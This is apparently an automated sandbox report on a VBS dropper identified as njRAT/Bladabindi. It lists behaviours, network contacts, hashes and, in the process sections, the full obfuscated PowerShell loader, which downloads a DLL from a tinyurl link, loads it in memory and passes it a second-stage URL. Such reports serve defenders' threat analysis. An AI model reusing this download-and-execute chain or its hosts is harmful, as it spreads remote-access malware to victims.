Analysis Overview
SHA256
041169b1bab3881a74211ccf368ab7e605a44257bc714fabae64b1c49878bd66
Threat Level: Known bad
The file 0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información proporcionada, corresponde regularizarla presentando la declaración.vbs was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Drops startup file
Checks computer location settings
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-10-10 15:45
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2022-10-10 15:45
Reported
2022-10-10 15:48
Platform
win10v2004-20220812-en
Max time kernel
147s
Max time network
149s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$%&\567R7854frghjkyhtyf5667.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4768 set thread context of 260 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gA3ADgANQA0AGYAcgBnAGgAagBrAHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R7854frghjkyhtyf5667' ))"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tinyurl.com | udp |
| US | 172.67.1.225:443 | tinyurl.com | tcp |
| US | 93.184.220.29:80 | tcp | |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| RU | 91.213.50.74:80 | 91.213.50.74 | tcp |
| US | 8.8.8.8:53 | nyas22.duckdns.org | udp |
| US | 64.44.167.136:57831 | nyas22.duckdns.org | tcp |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| NL | 104.80.225.205:443 | tcp | |
| FR | 40.79.150.121:443 | tcp | |
| US | 93.184.220.29:80 | tcp |
Files
memory/4860-132-0x0000000000000000-mapping.dmp
memory/4860-133-0x0000017657B50000-0x0000017657B72000-memory.dmp
memory/4768-134-0x0000000000000000-mapping.dmp
memory/4860-135-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/4768-136-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/260-137-0x0000000000400000-0x000000000040C000-memory.dmp
memory/260-138-0x000000000040675E-mapping.dmp
memory/4768-139-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 50a8221b93fbd2628ac460dd408a9fc1 |
| SHA1 | 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6 |
| SHA256 | 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e |
| SHA512 | 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 81d91bab2fdd72436e4852d94ea7650d |
| SHA1 | 5652b3c46a0cf75a03859c5707f36fb08f5c631a |
| SHA256 | 68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1 |
| SHA512 | df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268 |
memory/4860-142-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/260-143-0x0000000004E10000-0x0000000004EAC000-memory.dmp
memory/260-144-0x0000000005500000-0x0000000005AA4000-memory.dmp
memory/260-145-0x0000000005000000-0x0000000005092000-memory.dmp
memory/260-146-0x0000000004FE0000-0x0000000004FEA000-memory.dmp
memory/260-147-0x0000000005260000-0x00000000052C6000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2022-10-10 15:45
Reported
2022-10-10 15:48
Platform
win7-20220901-en
Max time kernel
47s
Max time network
50s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 852 wrote to memory of 1860 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 852 wrote to memory of 1860 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 852 wrote to memory of 1860 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1860 wrote to memory of 688 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1860 wrote to memory of 688 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1860 wrote to memory of 688 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gA3ADgANQA0AGYAcgBnAGgAagBrAHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R7854frghjkyhtyf5667' ))"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tinyurl.com | udp |
| US | 104.20.138.65:443 | tinyurl.com | tcp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.134.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.134.233:443 | cdn.discordapp.com | tcp |
Files
memory/852-54-0x000007FEFB651000-0x000007FEFB653000-memory.dmp
memory/1860-55-0x0000000000000000-mapping.dmp
memory/1860-57-0x000007FEF3C00000-0x000007FEF4623000-memory.dmp
memory/1860-59-0x00000000023B4000-0x00000000023B7000-memory.dmp
memory/1860-58-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp
memory/1860-60-0x000000001B700000-0x000000001B9FF000-memory.dmp
memory/688-61-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 6e9ce01bc1767deffc8269ac6e663dcf |
| SHA1 | 3e428d6a27ac7bade2a9d06e76ffbe2291f2d271 |
| SHA256 | 8af2684fc374ee1f0eb429f922da12daad6c8903be2bd732922669bd73486633 |
| SHA512 | f4c8f128931f212d823f82ed56b70aab2d9d6c6f721f985823bbf0f28c3da4ae4a8285d7e73a0889a80c88189304f9e82a505858e19902545dede1ef71cdef51 |
memory/1860-65-0x00000000023BB000-0x00000000023DA000-memory.dmp
memory/688-64-0x000007FEF3C00000-0x000007FEF4623000-memory.dmp
memory/688-66-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp
memory/688-67-0x00000000025D4000-0x00000000025D7000-memory.dmp
memory/688-68-0x00000000025DB000-0x00000000025FA000-memory.dmp
memory/688-69-0x00000000025D4000-0x00000000025D7000-memory.dmp
memory/688-70-0x00000000025DB000-0x00000000025FA000-memory.dmp
memory/1860-71-0x00000000023B4000-0x00000000023B7000-memory.dmp
memory/1860-72-0x00000000023BB000-0x00000000023DA000-memory.dmp